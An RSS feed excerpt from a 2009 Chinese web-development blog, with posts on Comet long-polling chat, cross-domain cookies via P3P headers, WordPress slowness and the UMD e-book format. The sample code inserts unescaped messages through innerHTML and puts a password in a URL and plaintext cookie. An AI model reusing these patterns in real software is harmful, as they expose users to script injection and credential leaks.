style="color: Gray;"><br />&nbsp; </span><span style="color: Olive;">&lt;/</span><span style="color: Green;">p</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: Olive;">&lt;</span><span style="color: Green;">script</span><span style="color: Gray;"> </span><span style="color: #00008b;">type</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">text/javascript</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp; var Comet = Class.create();<br />&nbsp; Comet.prototype = {<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;timestamp: 0,<br />&nbsp;&nbsp; &nbsp;url: './backend.php',<br />&nbsp;&nbsp; &nbsp;noerror: true,<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;initialize: function() { },<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;connect: function()<br />&nbsp;&nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp;this.ajax = new Ajax.Request(this.url, {<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;method: 'get',<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;parameters: { 'timestamp' : this.timestamp },<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;onSuccess: function(transport) {<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// handle the server response<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var response = transport.responseText.evalJSON();<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.comet.timestamp = response['timestamp'];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.comet.handleResponse(response);<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.comet.noerror = true;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;},<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;onComplete: function(transport) {<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// send a new ajax request when this request is finished<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (!this.comet.noerror)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// if a connection problem occurs, try to reconnect each 5 seconds<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;setTimeout(function(){ comet.connect() }, 5000); <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.comet.connect();<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;this.comet.noerror = false;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp;});<br />&nbsp;&nbsp; &nbsp; &nbsp;this.ajax.comet = this;<br />&nbsp;&nbsp; &nbsp;},<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;disconnect: function()<br />&nbsp;&nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp;},<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;handleResponse: function(response)<br />&nbsp;&nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp;$('content').innerHTML += '</span><span style="color: Olive;">&lt;</span><span style="color: Green;">div</span><span style="color: Olive;">&gt;</span><span style="color: Gray;">' + response['msg'] + '</span><span style="color: Olive;">&lt;/</span><span style="color: Green;">div</span><span style="color: Olive;">&gt;</span><span style="color: Gray;">';<br />&nbsp;&nbsp; &nbsp;},<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;doRequest: function(request)<br />&nbsp;&nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp;new Ajax.Request(this.url, {<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;method: 'get',<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;parameters: { 'msg' : request <br />&nbsp;&nbsp; &nbsp; &nbsp;});<br />&nbsp;&nbsp; &nbsp;}<br />&nbsp; }<br />&nbsp; var comet = new Comet();<br />&nbsp; comet.connect();<br />&nbsp; </span><span style="color: Olive;">&lt;/</span><span style="color: Green;">script</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: Olive;">&lt;/</span><span style="color: Green;">body</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Olive;">&lt;/</span><span style="color: Green;">html</span><span style="color: Olive;">&gt;</span></div></div>
<p>例子完整源码下载：<a href="http://www.zeitoun.net/_media/articles/comet_and_php/comet-ajax.tar.gz">down</a></p>
<p>你可以用浏览器打开多个index.html，你在其中一个页面提交的聊天内容同时也被推到其他的页面。<br />
这只是一个推的简单的例子，关于超时处理的相关功能就不贴了，自己研究。</p>
<blockquote><p>总之。ajax模拟http长连接就是在第一次ajax发出请求的时候，服务端一直在等待有更新的数据，当然在等待过程中你可以加入超时重新开始下一个轮询来降低服务器压力(见上面的核心图)。</p></blockquote>
<p><strong>参考文章：</strong><br />
 <a href="http://www.ibm.com/developerworks/cn/websphere/techjournal/0711_col_burckart/0711_col_burckart.html">Erik Burckart：Comet 的诱惑</a><br />
<a href="http://www.ibm.com/developerworks/cn/web/wa-lo-comet/">Comet：基于 HTTP 长连接的“服务器推”技术</a><br />
<a href="http://www.zeitoun.net/articles/comet_and_php/start">How to implement COMET with PHP</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/comet-ajax-longpoll-push/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>跨域Cookie存取与P3P那点破事儿</title>
		<link>http://www.ieliwb.com/p3p-cookie-sso/</link>
		<comments>http://www.ieliwb.com/p3p-cookie-sso/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 10:11:57 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[p3p]]></category>
		<category><![CDATA[跨域]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e8%b7%a8%e5%9f%9fcookie%e5%ad%98%e5%8f%96%e4%b8%8ep3p%e9%82%a3%e7%82%b9%e7%a0%b4%e4%ba%8b%e5%84%bf/</guid>
		<description><![CDATA[通过P3P 可以使用户自己指定浏览器的隐私策略。通过指定用户隐私策略，就可以达到存取第三方cookie的目的，看到这也许会觉得跟web应用毫无关系，真正的问题是如何让服务器来指定用户浏览器的隐私策略？ 这就是本文主角P3P该干的事了，只要在响应用户请求的时候在http的头信息中增加关于p3p的配置信息就可以了 ，就我分析目前大部分的通行证基本都用到了P3P。

<blockquote>官网：http://www.w3.org/P3P/
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/p3p-cookie-sso/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p>官网：http://www.w3.org/P3P/<br />
P3P: CP=&#8217;CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&#8217;</p></blockquote>
<p><strong>相关名词解释：</strong></p>
<blockquote><p>
1.第一方Cookie是来自当前正在查看的网站，或者发送到当前正在查看的网站。 </p>
<p>2.第三方Cookie是来自当前正在查看的网站以外的网站，或者发送到当前正在查看的网站以外的网站。第三方网站通常提供正在查看的网站上的内容。例如，许多站点使用来自第三方网站的广告，或者iframe的别的网站的url，这些第三方的网站可能使用的Cookie。 </p>
<p>3.P3P,Platform for Privacy Preferences: P3P由万维网协会研制，它为Web用户提供了对自己公开信息的更多的控制。支持P3P的Web站点可以为浏览者声明他们的隐私策略。支持P3P的浏览器 则可以将Web站点的策略与用户的隐私偏好进行对比，并为用户提出不匹配的警告。因此，用户可以被通知有关Web隐私的处理方式。
</p></blockquote>
<blockquote><p>通过P3P 可以使用户自己指定浏览器的隐私策略。通过指定用户隐私策略，就可以达到存取第三方cookie的目的，看到这也许会觉得跟web应用毫无关系，真正的问题是如何让服务器来指定用户浏览器的隐私策略？ 这就是本文主角P3P该干的事了，只要在响应用户请求的时候在http的头信息中增加关于p3p的配置信息就可以了 ，就我分析目前大部分的通行证基本都用到了P3P。
</p></blockquote>
<p><strong>PHP实战：</strong><br />
1.编辑hosts文件，加入测试域名（C:\WINDOWS\system32\drivers\etc\hosts）</p>
<blockquote><p>
127.0.0.1        www.ieliwb_a.com<br />
127.0.0.1        www.ieliwb_b.com
</p></blockquote>
<p>2.<br />
www.ieliwb_a.com/set.php内容：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">js</span><span style="color: Olive;">(</span><span style="color: Gray;">框架也一样的</span><span style="color: Olive;">)</span><span style="color: Gray;">访问种</span><span style="color: Blue;">cookie</span><span style="color: Gray;"><br />&lt;</span><span style="color: Blue;">script</span><span style="color: Gray;"> </span><span style="color: Blue;">src</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">http://www.ieliwb_b.com/p3p.php?id=1&amp;name=ieliwb&amp;pass=88888</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&gt;&lt;/</span><span style="color: Blue;">script</span><span style="color: Gray;">&gt;</span></div></div>
<p>http://www.ieliwb_b.com/p3p.php内容：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Blue;">header</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">P3P: CP=&quot;CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&quot;</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">setcookie</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">p3p</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">id</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">name</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">pass</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">, </span><span style="color: Blue;">time</span><span style="color: Olive;">()</span><span style="color: Gray;">+</span><span style="color: Maroon;">3600</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">.ieliwb_b.com</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>http://www.ieliwb_b.com/look.php内容：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Blue;">var_dump</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_COOKIE</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>测试：首先访问www.ieliwb_a.com/set.php，再访问http://www.ieliwb_b.com/look.php，可以看到ieliwb_a域成功设置了ieliwb_b域下的Cookie。<strong>通行证单点登录跨域设置Cookie基本基于此开发</strong>。</p>
<p><strong>相关注意事项总结：</strong></p>
<blockquote><p>
1.页面里的COOKIE不能是浏览器进程的COOKIE(包括验证票和不设置超时时间的COOKIE),否则跨域会取不到.这点做跨域COOKIE的人比较少提到.不过实际上留意下几家大学做的方案,有细微的提到他们的验证模块里的COOKIE是有设置超时时间的. </p>
<p>2.当利用IFRAME时,记得要在相应的动态页的页头添加一下P3P的信息,否则IE会自觉的把IFRAME框里的COOKIE给阻止掉,产生问题.本身不保存自然就取不到了.这个其实是FRAMESET和COOKIE的问题,用FRAME或者IFRAME都会遇到. </p>
<p>3.测试时输出TRACE,会减少很多测试的工作量. </p>
<p>4.似乎只有IE对跨域访问COOKIE限制比较严格，上述代码在FIREFOX下测试，即使不发送P3P头信息，也能成功。
</p></blockquote>
<p><strong>P3P代码的含义</strong> </p>
<blockquote><p>
P3P Header is present:<br />
CP=&#8221;CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&#8221;</p>
<p>Compact Policy token is present. A trailing &#8216;o&#8217; means opt-out, a trailing &#8216;i&#8217; means opt-in.</p>
<p>CURa<br />
Information is used to complete the activity for which it was provided.</p>
<p>ADMa<br />
Information may be used for the technical support of the Web site and its computer system.</p>
<p>DEVa<br />
Information may be used to enhance, evaluate, or otherwise review the site, service, product, or market.</p>
<p>PSAo<br />
Information may be used to create or build a record of a particular individual or computer that is tied to a pseudonymous identifier, without tying identified data (such as name, address, phone number, or email address) to the record. This profile will be used to determine the habits, interests, or other characteristics of individuals for purpose of research, analysis and reporting, but it will not be used to attempt to identify specific individuals. </p>
<p>PSDo<br />
Information may be used to create or build a record of a particular individual or computer that is tied to a pseudonymous identifier, without tying identified data (such as name, address, phone number, or email address) to the record. This profile will be used to determine the habits, interests, or other characteristics of individuals to make a decision that directly affects that individual, but it will not be used to attempt to identify specific individuals.</p>
<p>OUR<br />
We share information with ourselves and/or entities acting as our agents or entities for whom we are acting as an agent.</p>
<p>BUS<br />
Info is retained under a service provider&#8217;s stated business practices. Sites MUST have a retention policy that establishes a destruction time table. The retention policy MUST be included in or linked from the site&#8217;s human-readable privacy policy.</p>
<p>UNI<br />
Non-financial identifiers, excluding government-issued identifiers, issued for purposes of consistently identifying or recognizing the individual. These include identifiers issued by a Web site or service.</p>
<p>PUR<br />
Information actively generated by the purchase of a product or service, including information about the method of payment.</p>
<p>INT<br />
Data actively generated from or reflecting explicit interactions with a service provider through its site &#8212; such as queries to a search engine, or logs of account activity.</p>
<p>DEM<br />
Data about an individual&#8217;s characteristics &#8212; such as gender, age, and income.</p>
<p>STA<br />
Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a particular site or accessed particular content previously &#8212; such as HTTP cookies.</p>
<p>PRE<br />
Data about an individual&#8217;s likes and dislikes &#8212; such as favorite color or musical tastes.</p>
<p>COM<br />
Information about the computer system that the individual is using to access the network &#8212; such as the IP number, domain name, browser type or operating system.</p>
<p>NAV<br />
Data passively generated by browsing the Web site &#8212; such as which pages are visited, and how long users stay on each page.</p>
<p>OTC<br />
Other types of data not captured by the above definitions.</p>
<p>NOI<br />
Web Site does not collected identified data.</p>
<p>DSP<br />
The privacy policy contains DISPUTES elements.</p>
<p>COR<br />
Errors or wrongful actions arising in connection with the privacy policy will be remedied by the service.
</p></blockquote>
<p>最后呢喃一下：p3p是一件比较恐怖的东西，服务器能够修改浏览用户的隐私策略。<br />
花太香齐2009/12/18 闲的蛋疼总结下开发过程中用到的技术。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/p3p-cookie-sso/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>wordpress慢的几个可能原因分析</title>
		<link>http://www.ieliwb.com/wordpress-slow/</link>
		<comments>http://www.ieliwb.com/wordpress-slow/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 09:17:08 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[CMS/BBS开源原创作品]]></category>
		<category><![CDATA[Mysql/SQL/数据库优化]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[Windows/Cmd]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=175</guid>
		<description><![CDATA[<p><strong>1.wordpress在windows平台下运行缓慢的原因</strong></p>
<blockquote><p>
网络解答：<br />
在本地装了一个wordpress平台，中文版的，速度很慢，一直都没有搞清楚原因。最开始以为是连接数据库的速度慢造成的，不过直接连mysql的速度还是很快的。今天干脆下了点功夫，逐步跟踪，发现速度原来是在载入中文语言包的时候变慢[......]</p></blockquote><p class='read-more'><a href='http://www.ieliwb.com/wordpress-slow/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><strong>1.wordpress在windows平台下运行缓慢的原因</strong></p>
<blockquote><p>
网络解答：<br />
在本地装了一个wordpress平台，中文版的，速度很慢，一直都没有搞清楚原因。最开始以为是连接数据库的速度慢造成的，不过直接连mysql的速度还是很快的。今天干脆下了点功夫，逐步跟踪，发现速度原来是在载入中文语言包的时候变慢的。将wp-settings.php中的 load_default_textdomain()这一行注释掉，速度就上来了。<br />
wordpress的语言包是后缀为mo的二进制文件，在windows平台下对这种文件的解析和读取异常缓慢，而在linux平台下却基本感觉不出来。所以，如果要在windows平台下使用wordpress的话，要么直接用英文版，要么直接将中文内嵌到程序中去替代英文。
</p></blockquote>
<p>测试：去掉语言包功能在win下速度提升了一半以上，我晕。</p>
<p><strong>2.边栏按月归档 ARCHIVE的分月列表取消吧，日历取消吧</strong></p>
<p>mysql慢查询分析测试：<br />
修改my.cnf或者在mysql启动的时候加入一些参数。如果在my.cnf里面修改，需增加如下几行<br />
<code><br />
long_query_time = 1<br />
log-slow-queries = "D:\My HTTP Server\MySQL Server\slow.log"<br />
log-queries-not-using-indexes<br />
</code></p>
<blockquote><p>long_query_time 是指执行超过多久的sql会被log下来，这里是1秒。<br />
log-slow-queries 设置把日志写在那里，可以为空，系统会给一个缺省的文件host_name-slow.log，<br />
log-queries-not-using-indexes 就是字面意思，log下来没有使用索引的query。</p></blockquote>
<p>可以看到按月归档查询是个很大的罪魁祸首。</p>
<p><strong>3.下载一个叫pear的加速吧,很小.速度确实提升不少.到插件中搜索pear即可. </strong></p>
<p><strong>4. 整个PHP SPEEDY吧，速度提升了不少。</strong><br />
PHP Speedy扫描博客加载的js, css，并将它们合并压缩，减少HTTP请求数量，以加快博客的加载速度。http://aciddrop.com/php-speedy/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/wordpress-slow/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>umd文件结构深度解剖（附手机umd电子书生成算法类&#124;PHP版）</title>
		<link>http://www.ieliwb.com/umd-txt-php/</link>
		<comments>http://www.ieliwb.com/umd-txt-php/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 06:49:30 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[umd]]></category>
		<category><![CDATA[算法]]></category>
		<category><![CDATA[编码]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=173</guid>
		<description><![CDATA[记得刚开始准备做小说下载站时（UMD格式的电子书应该在Nokia机上是相当的流行吧），研究UMD文件,在网上搜不到UMD文件结构说明.费了好大的劲,用反编译工具才找到相关信息.可惜对C#不了解，只能摸到点皮毛，差点就放弃了，后来一个偶然的机会看到2lin兄和Mark兄的结构文章，振奋人心啊，于是对着UE打开标准umd文件的16进制码和2位仁兄的结构分析，用偶熟悉的php，做了一个umd生成类，对umd文件编码。解码应该也很简单的一个求逆运算，就不啰嗦了。 

<strong>相关关键字节含义：</strong>
<blockquote>
0x23，也就是字符’#’，这个字符在Umd中被用来作为功能块的分割符。

1.已知的#块（类型也就是#后面的16进制数字）
0x01--文件开始
0x02--标题
0x03--作者
0x04--年
0x05--月
0x06--日
0x07--小说类型
0x08--出版商
0x09--零售商
0x0b--内容长度
0x83--章节偏移
0x84--章节标题，正文
0x81--正文写入完毕
0x82--封面
0x87--PageOffset
0x0c--文件结束

2. 整数编码为littleEndian, 也就是低字节在前，高字节在后，相应的，所有的文本也都是Unicode16 LittleEndian编码的
3. 章节数据块(0x84)后面的第一个数据块是所有章节的标题，按照以下规则排列：
[第1章标题文本的字节长度(1byte)][第1章标题unicode文本][第2章标题文本的字节长度(1byte)][第2章标题unicode文本]...
4. 章节数据块(0x84)后面的第二个数据块及以后的数据块是正文文本数据，是用标准zlib算法压缩的
5. 似乎每个数据块的字节大小都在18K以内
6. 似乎正文中的换行(\r\n)都被替换成了unicode段分隔符\u2029，不知道是否跟制作工具有关
7. 封面图片的数据是未压缩的，也就是说直接把数据段复制出来保存成一个jpg文件就可以了
</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/umd-txt-php/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>记得刚开始准备做小说下载站时（UMD格式的电子书应该在Nokia机上是相当的流行吧），研究UMD文件,在网上搜不到UMD文件结构说明.费了好大的劲,用反编译工具才找到相关信息.可惜对C#不了解，只能摸到点皮毛，差点就放弃了，后来一个偶然的机会看到2lin兄和Mark兄的结构文章，振奋人心啊，于是对着UE打开标准umd文件的16进制码和2位仁兄的结构分析，用偶熟悉的php，做了一个umd生成类，对umd文件编码。解码应该也很简单的一个求逆运算，就不啰嗦了。 </p>
<p><strong>相关关键字节含义：</strong></p>
<blockquote><p>
0&#215;23，也就是字符’#’，这个字符在Umd中被用来作为功能块的分割符。</p>
<p>1.已知的#块（类型也就是#后面的16进制数字）<br />
0&#215;01&#8211;文件开始<br />
0&#215;02&#8211;标题<br />
0&#215;03&#8211;作者<br />
0&#215;04&#8211;年<br />
0&#215;05&#8211;月<br />
0&#215;06&#8211;日<br />
0&#215;07&#8211;小说类型<br />
0&#215;08&#8211;出版商<br />
0&#215;09&#8211;零售商<br />
0&#215;0b&#8211;内容长度<br />
0&#215;83&#8211;章节偏移<br />
0&#215;84&#8211;章节标题，正文<br />
0&#215;81&#8211;正文写入完毕<br />
0&#215;82&#8211;封面<br />
0&#215;87&#8211;PageOffset<br />
0&#215;0c&#8211;文件结束</p>
<p>2. 整数编码为littleEndian, 也就是低字节在前，高字节在后，相应的，所有的文本也都是Unicode16 LittleEndian编码的<br />
3. 章节数据块(0&#215;84)后面的第一个数据块是所有章节的标题，按照以下规则排列：<br />
[第1章标题文本的字节长度(1byte)][第1章标题unicode文本][第2章标题文本的字节长度(1byte)][第2章标题unicode文本]&#8230;<br />
4. 章节数据块(0&#215;84)后面的第二个数据块及以后的数据块是正文文本数据，是用标准zlib算法压缩的<br />
5. 似乎每个数据块的字节大小都在18K以内<br />
6. 似乎正文中的换行(\r\n)都被替换成了unicode段分隔符\u2029，不知道是否跟制作工具有关<br />
7. 封面图片的数据是未压缩的，也就是说直接把数据段复制出来保存成一个jpg文件就可以了
</p></blockquote>
<p><strong>umd文件简介（C#）：</strong></p>
<blockquote><p>
注：来自<a href="http://2lin.net/blog/default.aspx" target="_blank">2lin@ 爱林－博客</a><br />
UMD首先会在文件头写入一个<br />
     UINT类型 值为 0xde9a9b89 可能是用于识别版本类别什么的.<br />
然后的格式大概如下<br />
#<br />
short 1  //文件信息<br />
byte 0<br />
byte 8   //这个值用是用来定义后面长度的.  实际长度为 值-5<br />
byte 2   //这里1为普通书 2为漫画书<br />
short random1.Next(0&#215;401, 0&#215;7fff) % 0xffff //PGKSeed</p>
<p>#<br />
short 2 //文件标题<br />
byte 0<br />
byte  *  //标题长度=*-5<br />
byte[] * //写入标题</p>
<p>#<br />
short 3 //作者名称<br />
byte 0<br />
byte  *  //作者名称长度=*-5<br />
byte[] * //写入作者名称</p>
<p>接下来的是可选的其格式和上面的一样<br />
#4 //年  #5 //月 #6 //日 #7 //书的类别 #8 //出版人 #9 //出售人</p>
<p>写入文章长度<br />
#<br />
short 11<br />
byte 0<br />
byte 9<br />
int * //长度<br />
写入章节数<br />
#<br />
short 0&#215;83<br />
byte 1<br />
byte 9<br />
uint 0&#215;3000 + random1.Next(0xfff); //这个值用来关联0&#215;83<br />
$<br />
uint * //这个值就是上面关联0&#215;83随机产生的值<br />
uint 9 + (章节长度 * 4) //章节长度<br />
byte[] * 写入每章的偏移值</p>
<p>写入章节标题<br />
#<br />
short 0&#215;84<br />
byte 1<br />
byte 9<br />
uint 0&#215;4000 + random1.Next(0xfff); //这个值用来关联0&#215;84<br />
$<br />
uint * //这个值就是上面关联0&#215;84随机产生的值<br />
uint 9 + 所有标题相加的长度<br />
byte[] * 写入所有章节标题</p>
<p>写入压缩后的内容<br />
$<br />
uint random1.Next(1, 0xfffffff) * -1<br />
uint 9+压缩后的长度<br />
byte[] * //写入压缩后的内容</p>
<p>在压缩的时候 有可能把文章分成了很几段 所以 前面写压缩内容也许会接着再写一次 并且在中间随机写入<br />
#<br />
short 10<br />
byte 0<br />
byte 9<br />
int CID //标识用的</p>
<p>写入结束<br />
#<br />
short 0xf1<br />
byte 0<br />
byte 0&#215;15<br />
＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0＼0<br />
最后还要写封面数据 代号 # 0&#215;81 这里就不多讲了.
</p></blockquote>
<p><strong>UE16进制分析：</strong></p>
<blockquote><p>
来自：<a href="http://blog.sina.com.cn/s/blog_5ccfd2d50100bp3t.html~type=v5_one&#038;label=rela_nextarticle" target="_blank">mark的博客</a> </p>
<p>UMD文件有三种格式类型,一种叫纯文本格式,一种叫漫画&#038;写真集格式，以及连环画（文字+图画）.<br />
文本格式中的文字流是用ZLIB进行压缩的,今天我们就先来了解一下文本格式的UMD文件吧.</p>
<p>文本格式类弄的UMD文件的组成格式如下:</p>
<p>1.首先是文件头，大部分文件都是靠文件头来区分文件格式的吧，Umd也不例外，Umd的文件头是0xde9a9b89，写到文件上前四位分别应该是0&#215;89,0&#215;9b,0&#215;9a,0xde,这个大家理解起来应该没什么问题吧，以下的类似。(如果不是此格式,即不为UMD文件)</p>
<p>2.第5到9个字节为:0&#215;23 0&#215;01 0&#215;00 0&#215;08 0&#215;01 （注：0&#215;23，也就是字符’#’，这个字符在Umd中被用来作为功能块的分割符。）</p>
<p>3.第10个字节为:0&#215;01/0&#215;02.注0&#215;01代表文本格式的UMD文件,0&#215;02代表动漫格式的UMD文件<br />
4.接下来2个字节的随机数.没有任何意义,可以扔掉.(呵呵,记住目前是第12个字节了)<br />
5.第13个字节为:0X23(必须的)<br />
6.解析接下来的2个字节0X02 0X00.即为数据类型.目前数据类型为2.代表的意思是以下的数据代表文件的TITLE.<br />
那下面让我们观注如何解析TITLE吧.(呵呵.目前好像是第16个字节了吧)<br />
7.第17个字节0X00(必须的)<br />
8.解析第18个字节值.该字节的组成是:TITLE的长度*2 + 5.所以你要得到TITLE的长度必须要减五.<br />
另外TITLE的长度为什么要*2,因为UMD是用UNICODE编码文件数据的.<br />
9.注意现在就不能按多少个标准字节记数了,因为文件不一样,TITLE不一样.长度也不一样了.<br />
那就继续看吧.再读TITLE长度个字节,就得到了TITLE的数据.<br />
10.TITLE数据读完后,接下来1个字节是:0X23也就是&#8217;#'字符(必须的)<br />
11.解析接下来的2个字节0X03 0X00.即为数据类型.目前数据类型为3.代表的意思是以下的数据代表文件的Author.<br />
12.接下来1个字节是0X00(必须的)<br />
13.接下来解析1个字节,该字节的组成Author的长度*2 + 5.所以你要得到Author的长度必须要减五.</p>
<p>注意!!!大家会发现TITLE和Author的解析过程是一样的,哈哈.你非常厉害.确实解析是一样的.即然这样我就不再重复费话了.因为下面涉及到的解析都是这个流程.<br />
14.下面会解析到year = 4,mouth = 5,day = 6,gender = 7,publisher = 8,Vendor = 9.OK解析完成以上的数据后UMD的基本信息你已经得到了.</p>
<p>15.紧接着的第1个字节:0X23 也就是&#8217;#'(大家会发现,UMD是用#来进行数据隔离的)<br />
16.解析2个字节:0&#215;0B 0&#215;00 数据类型为11<br />
17.接下来2个字节:0X00 0X09(必须的)<br />
18.接下来4个字节:代表内容长度.<br />
19.内容长度解析完成,用分隔符&#8217;#&#8217;.所以接下1个字节是0X23<br />
20.接下来2个字节代表数据类型.0X83章节偏移量.<br />
21.接下来2个字节:0X01 0X09<br />
22.接下来4个字节:代表一个随机数,目前看来是起同步作用的.<br />
23.接下来1个字节:0X36 也就是&#8217;$'$了.哈哈.<br />
24.接下来4个字节:也是随机数.但是和22的随机数一样<br />
25.接下来4个字节:代表偏移量的长度*4 + 9.所以偏移量的长度为:你解析出来的(len &#8211; 9)/4.<br />
26.接下来偏移量长度个字节:每个字节代表:每节章节的偏移地址.<br />
27.偏移量数据块解析完成了.接下来又是数据分隔符&#8217;#&#8217; 0X23<br />
28.接下来2个字节:数据类型0X84 .章节标题<br />
29.接下来2个字节:0X01 0X09(必须的)<br />
30.接下来4个字节:随机数<br />
31.接下来1个字节:$<br />
32.接下来4个字节:随机数.二次随机数要相等<br />
33.接下来4个字节:代表 (标题长度*2 + 1) + 9<br />
34.接下来取得每个标题的数据.<br />
分析一下:为了取得每个标题的数据,如果有三个标题显然要取三次.OK.<br />
那如何取呢?<br />
我们先来解释第一个标题是如何取的.<br />
接下来1个字节:标题的长度*2 =  count.<br />
接下来count个字节:就是标题的内容数据.<br />
其他的标题同样的方法.接着取即可.<br />
那标题取完后,接下来的数据会是什么呢?<br />
想必现在应该章节类的数据了吧.好那让我们继续看吧!<br />
35.接下来1个字节:$<br />
36.接下来4个字节:随机数<br />
37.接下来4个字节:数据流的长度 + 9 = count<br />
38.接下来数据流长度个字节就是数据了.(注意目前的注意是ZLIB压缩的数据)<br />
接下来UMD做了安全处理.生成三个随机数.如果随机数有二个相同.处理一些数据.如果不相同就不处理.<br />
39.让我们看看相等的情况吧.下面的数据可能会有下面二种情况的组合出现.<br />
